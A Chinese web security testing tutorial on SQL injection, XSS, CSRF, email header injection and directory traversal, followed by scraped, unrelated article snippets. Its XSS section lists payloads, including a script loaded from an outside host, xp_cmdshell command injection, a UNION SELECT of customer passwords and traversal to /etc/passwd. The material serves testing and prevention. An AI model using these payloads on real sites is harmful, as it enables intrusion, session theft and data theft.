1.SQL Injection( SQL 注入 )
(1)如何进行SQL注入测试?
· 首先找到带有参数传递的 URL页面,如 搜索页面,登录页面,提交评论页面等等.
注 1:对 于未明显标识在URL中传递参数的,可以通过查看HTML源代码中的"FORM"标签来辨别是否还有参数传递.在的标签中间的每一个参数传递都有可能被利用.
注 2:当你找不到有输入行为的页面时,可以尝试找一些带有某些参数的特殊的URL,如HTTP://DOMAIN/INDEX.ASP?ID=10
· 其 次 ,在URL参数或表单中加入某些特殊的SQL语句或SQL片断,如在登录页面的URL中输入HTTP://DOMAIN /INDEX.ASP?USERNAME=HI' OR 1=1--
(2)如何预防SQL注入? 从应用程序的角度来讲,我们要做以下三项 工作 :
· 转义敏感字符及字符串 (SQL的敏感字符包括“ exec ” , ” xp_ ” , ” sp_ ” , ” declare ” , ” Union ” , ” cmd ” , ” + ” , ” // ” , ” .. ” , ” ; ” , ”‘” , ” -- ” , ” % ” , ” 0x ” , ” ><=!-*/()| ” , 和 ” 空格 ”).
· 屏蔽出错信息:阻止攻击者知道攻击的结果
· 在服务端正式处理之前提交数据的合法性 (合法性检查主要包括三 项:数据类型,数据长度,敏感字符的校验)进行检查等。最根本的解决手段, 在确认客 户端的输入合法之前 , 服务端拒绝进行关键性的处理操作 .
从测试人员的角度来讲,在程序开发前(即需求阶段),我们就应该有意识的将安全性检查应用到需求测试中,例如对一个表单需求进行检查时,我们一般检验以下几项安全性问题:
· 需求中应说明表单中某一 FIELD的类型,长度,以及取值范围(主要作用就是禁止输入敏感字符)
· 需求中应说明如果超出表单规定的类型 ,长度,以及取值范围的,应用程序应给出不包含任何代码或数据库信息的错误提示.
当然在执行测试的过程中,我们也需求对上述两项内容进行测试.
2.Cross-site scritping(XSS):(跨站点脚本攻击)
(1)如何进行XSS测试?
· 首先 , 找到带有参数传递的 URL, 如 登录页面 , 搜索页面 , 提交评论 , 发表留言 页面等等。
· 其次 ,在页面参数中输入如下语句(如:Javascrīpt,VB scrīpt, HTML,ActiveX, Flash )来进行测试:
注 :其它的XSS测试语句
>alert(document.cookie) ='>alert(document.cookie) alert(document.cookie) alert(vulnerable) %3Cscrīpt%3Ealert('XSS')%3C/scrīpt%3E alert('XSS') %0a%0aalert(\"Vulnerable\") .jsp %22%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd %2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini %3c/a%3e%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e %3c/title%3e%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e %3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e/index.html %3f.jsp %3f.jsp alert('Vulnerable'); alert('Vulnerable') ?sql_debug=1 a%5c.aspx a.jsp/alert('Vulnerable') a/ a?alert('Vulnerable') ">alert('Vulnerable') ';exec%20master..xp_cmdshell%20'dir%20 c:%20>%20c:\inetpub\wwwroot\?.txt'--&& %22%3E%3Cscrīpt%3Ealert(document.cookie)%3C/scrīpt%3E %3Cscrīpt%3Ealert(document. domain);%3C/scrīpt%3E& %3Cscrīpt%3Ealert(document.domain);%3C/scrīpt%3E&SESSION_ID={SESSION_ID}&SESSION_ID= 1%20union%20all%20select%20pass,0,0,0,0%20from%20customers%20where%20fname= ../../../../../../../../etc/passwd ..\..\..\..\..\..\..\..\windows\system.ini \..\..\..\..\..\..\..\..\windows\system.ini '';!--"=&{()} " ";' > out a=/XSS/alert(a.source) getURL("javascrīpt:alert('XSS')") a="get";b="URL";c="javascrīpt:";d="alert('XSS');";eval(a+b+c+d); "> function a(){alert('XSS');} <" " SRC="http://xss.ha.ckers.org/a.js"> '" SRC="http://xss.ha.ckers.org/a.js"> document.write("PT SRC="http://xss.ha.ckers.org/a.js"> link
· 最后 ,当用户浏览 时便会弹出一个警告框,内容显示的是浏览者当前的 cookie串,这就说明该网站存在XSS漏洞。
· 试想如果我们注入的不是以上这个简单的测试代码,而是一段经常精心设计的恶意脚本,当用户浏览此帖时, cookie信息就可能成功的被 攻击者获取。此时浏览者的帐号就很容易被攻击者掌控了。
(2)如何预防XSS漏洞? 从应用程序的角度来讲,要进行以下几项预防:
· 对 Javascrīpt,VB scrīpt, HTML,ActiveX, Flash 等 语句或脚本进行转义 .
· 在 服务端正式处理之前提交数据的合法性 (合法性检查主要包括三项:数据类型,数据长度,敏感字符的校验)进行检查等。最根本的解决手段, 在确认客户端的输入合法之前 , 服务端 拒绝进行关键性的处理操作 .
从测试人员的角度来讲,要从需求检查和执行测试过程两个阶段来完成XSS检查:
· 在需求检查过程中对各输入项或输出项进行类型、长度以及取 值范围进行验证,着重验证是否对 HTML或脚本代码进行了转义。
· 执行测试过程中也应对上述项进行检查。
3.CSRF:(跨站点伪造请求)
CSRF尽管听起来像跨站脚本( XSS ),但它与 XSS 非常不同,并且攻击方式几乎相左。 XSS是利用站点内的信任用户,而 CSRF 则通过伪装来自受信任用户的请求来利用受信任的网站。 XSS也好, CSRF 也好,它的目的在于窃取用户的信息,如 SESSION 和 COOKIES (关于 SESSION 和 COOKIES 的介绍请参见我的另一篇 BLOG : http://www.51testing.com/?49689/action_viewspace_itemid_74885.html ), (1)如何进行 CSRF 测试? 关于这个主题本人也正在研究,目前主要通过安全性测试工具来进行检查。 (2)如何预防 CSRF 漏洞?
· 请参见 http://www.hanguofeng.cn/archives/security/preventing-csrf
请 参见 http://getahead.org/blog/joe/2007/01/01/csrf_attacks_or_how_to_avoid_exposing_your_gmail_contacts.html
4.Email Header Injection(邮件标头注入)
Email Header Injection :如果表单用于发送 email, 表单中可能包括 “subject ”输入项(邮件标题),我们要验证 subject 中应能 escape 掉 “\n ”标识。
因为 “\n ”是新行,如果在 subject 中输入 “hello\ncc:[email protected] ”,可能会形成以下
Subject: hello
cc: [email protected]
如果允许用户使用这样的 subject ,那他可能会给利用这个缺陷通过我们的平台给 其它 用 户发送垃圾邮件。
5.Directory Traversal(目录遍历)
( 1)如何进行目录遍历测试?
· 目录遍历 产生的原因是:程序中没有过滤用户输入的 “../ ”和“ ./ ”之类的目录跳转符 , 导致恶意用户可以通过提交目录跳转来遍历服务器上的任意文件。
· 测试方法:在 URL 中输入一定数量的 “../ ”和“ ./ ”,验证系统是否 ESCAPE 掉了这些目录跳转符。
(2)如何预防目录遍历?
· 限制 Web应用在服务器上的运行
· 进 行严格的输入验证,控制用户输入非法路径
6.exposed error messages(错误信息)
( 1)如何进行测试?
· 首 先找到一些错误页面,比如 404,或500页面。
· 验证在调试未开通过的情况下,是否给出了友好的错误提示信息比如 “你访问的页面不存 在”等,而并非曝露一些程序代码。
(2)如何预防?
· 测试人员在进行需求检查时,应该对出错信息 进行详细查,比如是否给出了出错信息,是否给出了正确的出错信息。
你可能感兴趣的:(安全测试)
CTF——web方向学习攻略
一则孤庸
CTF 网络安全 CTF
1计算机基础操作系统:熟悉Linux命令,方便使用Kali。网络技术:HCNA、CCNA。编程能力:拔高项,有更好。2web应用HTTP协议:必须掌握web开发框架web安全测试3数据库数据库基本操作SQL语句数据库优化4刷题
Docker安全最佳实践
行路见知
Docker docker 运维 网络 安全
目录1、探测容器开放端口和服务漏洞2、宿主机、网络、镜像、DockerApi安全3、更新Docker、日志、事件4、Docker安全测试5、Docker安全最佳实践1、探测容器开放端口和服务漏洞使用Nmap扫描Docker容器中的开放端口使用dockerps命令获取正在运行的容器ID或名称。在主机上安装Nmap工具。使用以下命令扫描Docker容器中的开放端口:nmap-p-[container_
网站安全检测:推荐 8 款免费的 Web 安全测试工具
白帽黑客2659
安全 网络 测试工具 运维 服务器 ddos 网络安全
目录1.OWASPZAP(ZedAttackProxy)2.BurpSuiteFreeEdition3.Nikto4.w3af5.SQLMap6.Arachni7.XSSer8.SecurityHeaders.io使用这些工具的建议网站安全是确保数据保护和系统完整性的重要组成部分。对于希望增强网站安全性的开发者和管理员来说,利用有效的工具进行定期的安全测试是必不可少的。以下是8款免费的Web安全测
安全测试与CI/CD集成!
小码哥说测试
自动化测试 技术分享 软件测试 ci/cd 自动化测试 软件测试 单元测试 压力测试 测试工程师
将安全测试集成到CI/CD(持续集成/持续部署)流程中,是确保软件在快速迭代的同时保持高安全性的重要措施。以下是将安全测试集成到CI/CD流程中的具体步骤和注意事项:一、明确安全测试目标和范围确定测试目标:明确需要保护的应用组件、API接口、数据资产等。划定测试范围:根据应用架构和业务逻辑,确定需要进行安全测试的代码区域和业务流程。二、选择合适的安全测试技术和工具静态应用安全测试(SAST):选择
国内网站安全测试6大步骤
红酒味蛋糕_
网络安全
网站安全测试目标:1.发现网络系统中存在的安全隐患和可能被入侵者利用的安全漏洞2.与黑客区别:·渗透测试是经过授权的·可控制的、非破坏性的方法3.宏观上的分类:·黑盒测试不了解目标详细信息的情况,模拟黑客攻击.·白盒测试完全了解,代码审计.·灰盒测试了解一部分东西.4.思路和细节名词解释漏洞POC验证漏洞存在的代码片段exploit利用(渗透攻击)exp(利用一个漏洞完整的程序)提权权限提升获取当
破解树莓派RP2350!获得10000美元的奖励!
上海晶珩EDATEC
树莓派 树莓派5 Raspberry Pi Raspberry Pi 5 工业计算机
我们认为RP2350这款新型高性能安全微控制器相当安全和坚固。你愿意测试一下这个理论吗?(我们完全承认,只要有足够的时间和资源,任何东西都是可以破解的)。接受挑战!在我们推出RP2350和RaspberryPiPico2之前,我们希望对芯片和软件的安全功能进行一些测试,因此我们与安全测试领域的一些顶尖人物进行了合作:托马斯-罗斯(ThomasRoth)和科林-奥弗林(ColinO'Flynn)。通
等保测评中的安全测试方法
等保桃夭夭
web安全 安全 网络
等保测评,即信息安全等级保护测评,是我国网络安全领域的重要评估机制,用于验证网络系统或应用是否满足相应的安全保护等级要求。在等保测评中,安全测试方法扮演着至关重要的角色。本文将详细介绍等保测评中常用的安全测试方法及其应用。首先,等保测评中的安全测试方法涵盖了多个层面,包括但不限于物理环境测评、网络安全测评、主机安全测评、应用安全测评和数据安全测评。在物理环境测评方面,重点关注信息系统的物理安全保护
测试工程师学历路径:从功能测试到测试开发
测试媛小七
性能测试 功能测试
功能测试工程师:1、软件测试基本概念:学习软件测试的定义、目的、原则以及重要性,了解软件测试在软件开发过程中的作用。掌握软件测试的分类方法,包括按测试阶段(单元测试、集成测试、系统测试、验收测试)、按测试技术(黑盒测试、白盒测试、灰盒测试)等进行分类。2、基本测试方法与技术:学习并掌握各种测试类型,如功能测试、性能测试、安全测试、兼容性测试、回归测试的概念等。了解测试文档的编写,包括测试计划、测试
美甲美睫化妆好吗,在美甲店上班累吗
声优配音圈
一、美甲美睫化妆的几个注意事项美甲美睫化妆是一项细致的工作,需要注意以下几点:兼职副业推荐公众号,配音新手圈,声优配音圈,新配音兼职圈,配音就业圈,鼎音副业,有声新手圈,每天更新各种远程工作与在线兼职,职位包括:写手、程序开发、剪辑、设计、翻译、配音、无门槛、插画、翻译、等等。。。每日更新兼职。1.美甲美睫必须在卫生环境下进行,确保工具的清洁和消毒。2.使用的化妆品要选择经过安全测试和合规的产品,
测试岗位应该学什么
程序员牛马家
有关计算机就业的自我观点 数据结构
以下是测试岗位需要学习的一些关键内容:1.测试理论和方法-了解不同类型的测试,如功能测试、性能测试、压力测试、安全测试、兼容性测试等。-掌握测试策略和测试计划的制定。2.编程语言-至少熟悉一种编程语言,如Python、Java或JavaScript,以便编写自动化测试脚本。3.自动化测试工具-学习使用Selenium、Appium等用于Web和移动应用的自动化测试工具。-掌握JMeter用于性能测
python的scapy库基础使用
蜗牛学苑_武汉
网络安全 python scapy TCP三次握手 TCP四次挥手
scapy库一.概述Scapy是一个功能强大且灵活的Python库,用于操作和探索计算机网络中的数据包。它允许用户构建各种类型的网络数据包,并支持多种网络协议,如TCP、UDP、ICMP、ARP等。Scapy不仅可以发送和接收数据包,还可以捕获、修改和解析网络流量,使用户能够深入研究网络通信并进行网络安全测试。二.scapy的基本使用依赖npcap,最好是最新版本安装:pipinstallscap
2.5 项目讲解流程
王守谦26
项目资料 数据库
一、项目讲解1、自我介绍2、项目流程-===============================二、自我介绍(一)、学员自我介绍,讲解存在的问题比如:讲解年份、卡顿、重点学历、忘记(二)自我规则内容1、开场白:礼貌用语2、时间:自我介绍1-2分钟以内3、内容:姓名、籍贯、毕业院校、(拉进面试官距离)4、技能:功能测试、接口测试、自动化测试、app测试、性能测试、安全测试黑盒测试、白盒测试、灰盒
2018-01-27-安全测试信息搜集
测试墨
1.信息收集:1.1放羊式查询1.2GoogleHacking语法filetype:inurl:intext:intitle:site1.3在线专业搜索引擎shodan在线使用,火狐浏览器插件,和Maltego,metasploit的结合。http://drops.wooyun.org/tips/24691.4狙击式收集,漏洞扫描工具,探索web框架--web扫描器,常见的有wvs10,appsc
软件安全测试报告模板_软件质量保证与测试(课后习题与答案)--仅供复习参考...
weixin_39687359
软件安全测试报告模板
第1章软件测试基础一、填空题1.软件从“出生”到“消亡”的过程称为软件生命周期2.早期的线性开发模型称为瀑布开发模型。3.引入风险分析的开发模型为_螺旋开发模型。4.ISO/IEC9126:1991标准提出的质量模型包括.功能性、可靠性、可使用性、效率、可维护性、可移植性_6大特性。5.按照缺陷的严重程度可以将缺陷划分为_严重、一般、次要、建议6.验证软件单元是否符合软件需求与设计的测试称为_单元
Java 安全资源
安全程序员
OWASP英文单词:OpenWebApplicationSecurityProjectOWASP是一个开源的、非盈利的全球性安全组织,致力于应用软件的安全研究。我们的使命是使应用软件更加安全,使企业和组织能够对应用安全风险做出更清晰的决策。目前OWASP全球拥有250个分部近7万名会员,共同推动了安全标准、安全测试工具、安全指导手册等应用安全技术的发展。近几年,OWASP峰会以及各国OWASP年会
安全测试工具安装指南:在统信UOS上部署Burp Suite
鹏大圣运维
linux 统信 UOS 安全 测试工具 git linux 操作系统 国产化 桌面
原文链接:安全测试工具安装指南:在统信UOS上部署BurpSuite大家好!在网络安全领域,BurpSuite是一款不可或缺的工具,它提供了从初级映射和分析应用程序攻击面到查找和利用安全漏洞的一系列功能。今天,我将为大家介绍如何在统信UOS上安装BurpSuiteCommunityEdition(社区版),版本为2023.12.1.5。值得一提的是,社区版和专业版的安装方法基本一致。准备工作在开始
自动驾驶前端
Little Xi
javascript 前端 css
{{item.navItem}}-->主页场景库仿真测试事故分析自动驾驶安全测试平台exportdefault{name:'NavMenu',data(){return{navList:[{name:'/index',navItem:'主页'},{name:'/library',navItem:'场景库'},{name:'/test',navItem:'仿真测试'},{name:'/acciden
新窗口打开vue项目中的静态pdf文件,并做权限控制
包子脸呀
javascript vue.js es6 前端 前端框架
问题:公司系统做安全测试,其中一个问题是没有登录的情况下,直接访问“项目地址/operate.pdf”此地址,会展示pdf文件。描述:点击系统内的一个按钮会打开新窗口展示系统操作手册(operate.pdf)文件,以下为原本的代码,原来将pdf文件放在public文件夹下(“项目地址/operate.pdf”就是访问的public文件夹下的pdf文件)解决:删除public文件夹下的pdf文件,将
AcuAutomate:一款基于Acunetix的大规模自动化渗透测试与漏洞扫描工具
FreeBuf_
自动化 elasticsearch 运维
关于AcuAutomateAcuAutomate是一款基于Acunetix的大规模自动化渗透测试与漏洞扫描工具,该工具旨在辅助研究人员执行大规模的渗透测试任务。在大规模的安全测试活动中,AcuAutomate可以帮助我们同时启动或停止多个Acunetix扫描任务。除此之外,我们还可以将其功能无缝集成到枚举封装器或One-Liner中,并通过管道功能实现更高效的控制。工具安装由于该工具基于Pytho
html5 指纹识别,Http指纹识别技术
Samuel Solomon
html5 指纹识别
Http指纹识别技术Http指纹识别现在已经成为应用程序安全中一个新兴的话题,Http服务器和Http应用程序安全也已经成为网络安全中的重要一部分.从网络管理的立场来看,保持对各种web服务器的监视和追踪使得Http指纹识别变的唾手可得,Http指纹识别可以使得信息系统和安全策略变的自动化,在基于已经设置了审核策略的特殊的平台或是特殊的web服务器上,安全测试工具可以使用Http指纹识别来减少测试
Web安全测试之XSS
中科恒信
XSS全称(CrossSiteScripting)跨站脚本攻击,是Web程序中最常见的漏洞。指攻击者在网页中嵌入客户端脚本(例如JavaScript),当用户浏览此网页时,脚本就会在用户的浏览器上执行,从而达到攻击者的目的.比如获取用户的Cookie,导航到恶意网站,携带木马等。作为测试人员,需要了解XSS的原理,攻击场景,如何修复。才能有效的防止XSS的发生。阅读目录XSS是如何发生的HTMLE
【网络安全】信息收集系列|子域名收集姿势总结
IT老涵
网络安全 安全 渗透测试 信息安全 运维
声明:本文初衷为分享网络安全知识,请勿利用技术做出任何危害网络安全的行为,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责概述在渗透测试或SRC漏洞挖掘中,安全测试人员通常会得到一些域名资产。为了更好地进行渗透测试,通常都需要进行子域名收集。为什么需要进行子域名收集?扩大资产范围,可以增加漏洞发现的概率众所周知,一般情况下主站的安全性可能相对较高,而一些不常用
天翼1号2021修改IMEI教程
ZERO-A-ONE
Linux使用笔记 linux
Author:ZERO-A-ONEDate:2022-10-03本教程仅供安全测试,若将改串用于非法用途后果请自行承担天翼1号2021搭载了虎贲T710和春藤V510基带,是一部目前咸鱼只需要300左右的热点机首先我们需要在一台Windows7计算机上安装如下的两个驱动https://share.weiyun.com/zs8V3QWV然后我们知道360OS通用工程密码*20121220#在进入工程
金三银四,你还不知道软件测试刷题APP的天花板就晚了!
测试界的飘柔
IT 软件测试 职场经验 程序员 测试工具 自动化测试 软件测试 面试 找工作 职场经验
想年后找工作或者等金三银四跳槽涨薪的朋友们有福了,今天给大家推荐一个软件测试面试的刷题小程序。相信有很多朋友找工作都倒在面试这一关上面,那是你还不知道有这么一个软件测试面试的刷题小程序。里面包含了面试常问的软件测试基础题,web自动化测试、app自动化测试、接口测试、性能测试、自动化测试、安全测试及一些常问到的人力资源题目。最主要的是他还收集了像阿里、华为这样的大厂面试真题,还有互动交流板块……刷
嵌入式系统的安全测试和评估方法
科联学妹
网络 安全
安全测试是一个至关重要的过程,旨在评估系统的漏洞和弱点,识别潜在的安全风险。它旨在模拟真实的攻击场景,评估系统抵御和恢复安全威胁的能力。通过进行安全测试,开发人员可以在恶意实体利用之前发现和修复漏洞。这个过程对于保护敏感数据、保护用户隐私和确保嵌入式系统的整体完整性至关重要。嵌入式系统经常部署在医疗设备或交通系统等关键基础设施中,任何安全漏洞都可能产生严重后果。因此,对嵌入式系统进行安全测试具有以
一文2000字记录基于jmeter+perfmon的稳定性测试
shanmao001
压力测试 jmeter python 自动化测试 测试工程师
最近承接了项目中一些性能测试的任务,因此决定记录一下,将测试的过程和一些心得收录下来。说起来性能测试算是软件测试行业内,有些特殊的部分。这部分的测试活动,与传统的测试任务差别是比较大的,也比较依赖工具,一定程度上性能测试被认为是测试中的“高阶”部分,跟自动化测试、安全测试等并称。整理了一些软件测试方面的资料、面试资料(接口自动化、web自动化、app自动化、性能安全、测试开发等),有需要的小伙伴可
【Java万花筒】数据的安全钥匙:Java的加密与保护方法
friklogff
Java万花筒 安全 java 网络 开发语言
编码的盾牌:Java开发人员的安全性武器库前言在当今数字化时代,保护用户数据和信息的安全已成为开发人员的首要任务。无论是在Web应用程序开发还是安全测试中,加密和安全性都是至关重要的。本文将介绍六个Java库和工具,它们为开发人员提供了实现加密和安全性的强大功能。欢迎订阅专栏:Java万花筒文章目录编码的盾牌:Java开发人员的安全性武器库前言1.OWASPJavaEncoder1.1概述1.2库
代码安全审计经验集(下)
INSBUG
安全
对HTTP加密请求参数的测试对于HTTP请求体加密,如果直接使用明文的请求参数,是无法进行正常的安全测试的。但通常还是有办法分析出加解密的策略,如果能把加解密算法还原,就可以先将安全测试的payload添加到原始明文参数,再加密发送到服务端处理(可以编写对应的burp插件实现半自动化,因为逻辑漏洞还是要人工分析),好处就是可以绕过WAF这类防护设备,WAF可能具备解码BASE64编码的能力,但对这
“互联网营销师”将是未来热门职业
爆量学院
人社部、市场监管总局、统计局2020年7月6日印发《关于发布区块链工程技术人员等职业信息的通知》,具体来看,新职业包括区块链工程技术人员、城市管理网格员、互联网营销师、信息安全测试员、区块链应用操作员、在线学习服务师、社群健康助理员、老年人能力评估师、增材制造设备操作员等。其中,互联网营销师是指在数字化信息平台上,运用网络的交互性与传播公信力,对企业产品进行营销推广的人员。主要工作任务包括:1.研
软件测试的分类
软件测试很重要
软件测试
软件测试的分类可以基于不同的标准,包括测试方法、测试方向、开发阶段、测试对象、测试状态、测试实施组织等。具体来说:按测试方法分类:这包括黑盒测试、白盒测试和灰盒测试。黑盒测试关注于软件的功能而不考虑内部逻辑;白盒测试则侧重于内部结构和代码逻辑;灰盒测试介于两者之间,结合了两者的某些方面。按测试方向分类:这涉及到功能测试、性能测试、安全测试等。功能测试检查软件是否按照规格说明执行预定功能;性能测试评
对股票分析时要注意哪些主要因素?
会飞的奇葩猪
股票 分析 云掌股吧
众所周知,对散户投资者来说,股票技术分析是应战股市的核心武器,想学好股票的技术分析一定要知道哪些是重点学习的,其实非常简单,我们只要记住三个要素:成交量、价格趋势、振荡指标。
一、成交量
大盘的成交量状态。成交量大说明市场的获利机会较多,成交量小说明市场的获利机会较少。当沪市的成交量超过150亿时是强市市场状态,运用技术找综合买点较准;
【Scala十八】视图界定与上下文界定
bit1129
scala
Context Bound,上下文界定,是Scala为隐式参数引入的一种语法糖,使得隐式转换的编码更加简洁。
隐式参数
首先引入一个泛型函数max,用于取a和b的最大值
def max[T](a: T, b: T) = {
if (a > b) a else b
}
因为T是未知类型,只有运行时才会代入真正的类型,因此调用a >
C语言的分支——Object-C程序设计阅读有感
darkblue086
apple c 框架 cocoa
自从1972年贝尔实验室Dennis Ritchie开发了C语言,C语言已经有了很多版本和实现,从Borland到microsoft还是GNU、Apple都提供了不同时代的多种选择,我们知道C语言是基于Thompson开发的B语言的,Object-C是以SmallTalk-80为基础的。和C++不同的是,Object C并不是C的超集,因为有很多特性与C是不同的。
Object-C程序设计这本书
去除浏览器对表单值的记忆
周凡杨
html 记忆 autocomplete form 浏览
&n
java的树形通讯录
g21121
java
最近用到企业通讯录,虽然以前也开发过,但是用的是jsf,拼成的树形,及其笨重和难维护。后来就想到直接生成json格式字符串,页面上也好展现。
// 首先取出每个部门的联系人
for (int i = 0; i < depList.size(); i++) {
List<Contacts> list = getContactList(depList.get(i
Nginx安装部署
510888780
nginx linux
Nginx ("engine x") 是一个高性能的 HTTP 和 反向代理 服务器,也是一个 IMAP/POP3/SMTP 代理服务器。 Nginx 是由 Igor Sysoev 为俄罗斯访问量第二的 Rambler.ru 站点开发的,第一个公开版本0.1.0发布于2004年10月4日。其将源代码以类BSD许可证的形式发布,因它的稳定性、丰富的功能集、示例配置文件和低系统资源
java servelet异步处理请求
墙头上一根草
java 异步返回 servlet
servlet3.0以后支持异步处理请求,具体是使用AsyncContext ,包装httpservletRequest以及httpservletResponse具有异步的功能,
final AsyncContext ac = request.startAsync(request, response);
ac.s
我的spring学习笔记8-Spring中Bean的实例化
aijuans
Spring 3
在Spring中要实例化一个Bean有几种方法:
1、最常用的(普通方法)
<bean id="myBean" class="www.6e6.org.MyBean" />
使用这样方法,按Spring就会使用Bean的默认构造方法,也就是把没有参数的构造方法来建立Bean实例。
(有构造方法的下个文细说)
2、还
为Mysql创建最优的索引
annan211
mysql 索引
索引对于良好的性能非常关键,尤其是当数据规模越来越大的时候,索引的对性能的影响越发重要。
索引经常会被误解甚至忽略,而且经常被糟糕的设计。
索引优化应该是对查询性能优化最有效的手段了,索引能够轻易将查询性能提高几个数量级,最优的索引会比
较好的索引性能要好2个数量级。
1 索引的类型
(1) B-Tree
不出意外,这里提到的索引都是指 B-
日期函数
百合不是茶
oracle sql 日期函数 查询
ORACLE日期时间函数大全
TO_DATE格式(以时间:2007-11-02 13:45:25为例)
Year:
yy two digits 两位年 显示值:07
yyy three digits 三位年 显示值:007
线程优先级
bijian1013
java thread 多线程 java多线程
多线程运行时需要定义线程运行的先后顺序。
线程优先级是用数字表示,数字越大线程优先级越高,取值在1到10,默认优先级为5。
实例:
package com.bijian.study;
/**
* 因为在代码段当中把线程B的优先级设置高于线程A,所以运行结果先执行线程B的run()方法后再执行线程A的run()方法
* 但在实际中,JAVA的优先级不准,强烈不建议用此方法来控制执
适配器模式和代理模式的区别
bijian1013
java 设计模式
一.简介 适配器模式:适配器模式(英语:adapter pattern)有时候也称包装样式或者包装。将一个类的接口转接成用户所期待的。一个适配使得因接口不兼容而不能在一起工作的类工作在一起,做法是将类别自己的接口包裹在一个已存在的类中。 &nbs
【持久化框架MyBatis3三】MyBatis3 SQL映射配置文件
bit1129
Mybatis3
SQL映射配置文件一方面类似于Hibernate的映射配置文件,通过定义实体与关系表的列之间的对应关系。另一方面使用<select>,<insert>,<delete>,<update>元素定义增删改查的SQL语句,
这些元素包含三方面内容
1. 要执行的SQL语句
2. SQL语句的入参,比如查询条件
3. SQL语句的返回结果
oracle大数据表复制备份个人经验
bitcarter
oracle 大表备份 大表数据复制
前提:
数据库仓库A(就拿oracle11g为例)中有两个用户user1和user2,现在有user1中有表ldm_table1,且表ldm_table1有数据5千万以上,ldm_table1中的数据是从其他库B(数据源)中抽取过来的,前期业务理解不够或者需求有变,数据有变动需要重新从B中抽取数据到A库表ldm_table1中。
HTTP加速器varnish安装小记
ronin47
http varnish 加速
上午共享的那个varnish安装手册,个人看了下,有点不知所云,好吧~看来还是先安装玩玩!
苦逼公司服务器没法连外网,不能用什么wget或yum命令直接下载安装,每每看到别人博客贴出的在线安装代码时,总有一股羡慕嫉妒“恨”冒了出来。。。好吧,既然没法上外网,那只能麻烦点通过下载源码来编译安装了!
Varnish 3.0.4下载地址: http://repo.varnish-cache.org/
java-73-输入一个字符串,输出该字符串中对称的子字符串的最大长度
bylijinnan
java
public class LongestSymmtricalLength {
/*
* Q75题目:输入一个字符串,输出该字符串中对称的子字符串的最大长度。
* 比如输入字符串“google”,由于该字符串里最长的对称子字符串是“goog”,因此输出4。
*/
public static void main(String[] args) {
Str
学习编程的一点感想
Cb123456
编程 感想 Gis
写点感想,总结一些,也顺便激励一些自己.现在就是复习阶段,也做做项目.
本专业是GIS专业,当初觉得本专业太水,靠这个会活不下去的,所以就报了培训班。学习的时候,进入状态很慢,而且当初进去的时候,已经上到Java高级阶段了,所以.....,呵呵,之后有点感觉了,不过,还是不好好写代码,还眼高手低的,有
[能源与安全]美国与中国
comsci
能源
现在有一个局面:地球上的石油只剩下N桶,这些油只够让中国和美国这两个国家中的一个顺利过渡到宇宙时代,但是如果这两个国家为争夺这些石油而发生战争,其结果是两个国家都无法平稳过渡到宇宙时代。。。。而且在战争中,剩下的石油也会被快速消耗在战争中,结果是两败俱伤。。。
在这个大
SEMI-JOIN执行计划突然变成HASH JOIN了 的原因分析
cwqcwqmax9
oracle
甲说:
A B两个表总数据量都很大,在百万以上。
idx1 idx2字段表示是索引字段
A B 两表上都有
col1字段表示普通字段
select xxx from A
where A.idx1 between mmm and nnn
and exists (select 1 from B where B.idx2 =
SpringMVC-ajax返回值乱码解决方案
dashuaifu
Ajax springMVC response 中文乱码
SpringMVC-ajax返回值乱码解决方案
一:(自己总结,测试过可行)
ajax返回如果含有中文汉字,则使用:(如下例:)
@RequestMapping(value="/xxx.do") public @ResponseBody void getPunishReasonB
Linux系统中查看日志的常用命令
dcj3sjt126com
OS
因为在日常的工作中,出问题的时候查看日志是每个管理员的习惯,作为初学者,为了以后的需要,我今天将下面这些查看命令共享给各位
cat
tail -f
日 志 文 件 说 明
/var/log/message 系统启动后的信息和错误日志,是Red Hat Linux中最常用的日志之一
/var/log/secure 与安全相关的日志信息
/var/log/maillog 与邮件相关的日志信
[应用结构]应用
dcj3sjt126com
PHP yii2
应用主体
应用主体是管理 Yii 应用系统整体结构和生命周期的对象。 每个Yii应用系统只能包含一个应用主体,应用主体在 入口脚本中创建并能通过表达式 \Yii::$app 全局范围内访问。
补充: 当我们说"一个应用",它可能是一个应用主体对象,也可能是一个应用系统,是根据上下文来决定[译:中文为避免歧义,Application翻译为应
assertThat用法
eksliang
JUnit assertThat
junit4.0 assertThat用法
一般匹配符1、assertThat( testedNumber, allOf( greaterThan(8), lessThan(16) ) );
注释: allOf匹配符表明如果接下来的所有条件必须都成立测试才通过,相当于“与”(&&)
2、assertThat( testedNumber, anyOf( g
android点滴2
gundumw100
应用服务器 android 网络应用 OS HTC
如何让Drawable绕着中心旋转?
Animation a = new RotateAnimation(0.0f, 360.0f,
Animation.RELATIVE_TO_SELF, 0.5f, Animation.RELATIVE_TO_SELF,0.5f);
a.setRepeatCount(-1);
a.setDuration(1000);
如何控制Andro
超简洁的CSS下拉菜单
ini
html Web 工作 html5 css
效果体验:http://hovertree.com/texiao/css/3.htmHTML文件:
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>简洁的HTML+CSS下拉菜单-HoverTree</title>
kafka consumer防止数据丢失
kane_xie
kafka offset commit
kafka最初是被LinkedIn设计用来处理log的分布式消息系统,因此它的着眼点不在数据的安全性(log偶尔丢几条无所谓),换句话说kafka并不能完全保证数据不丢失。
尽管kafka官网声称能够保证at-least-once,但如果consumer进程数小于partition_num,这个结论不一定成立。
考虑这样一个case,partiton_num=2
@Repository、@Service、@Controller 和 @Component
mhtbbx
DAO spring bean prototype
@Repository、@Service、@Controller 和 @Component 将类标识为Bean
Spring 自 2.0 版本开始,陆续引入了一些注解用于简化 Spring 的开发。@Repository注解便属于最先引入的一批,它用于将数据访问层 (DAO 层 ) 的类标识为 Spring Bean。具体只需将该注解标注在 DAO类上即可。同时,为了让 Spring 能够扫描类
java 多线程高并发读写控制 误区
qifeifei
java thread
先看一下下面的错误代码,对写加了synchronized控制,保证了写的安全,但是问题在哪里呢?
public class testTh7 {
private String data;
public String read(){
System.out.println(Thread.currentThread().getName() + "read data "
mongodb replica set(副本集)设置步骤
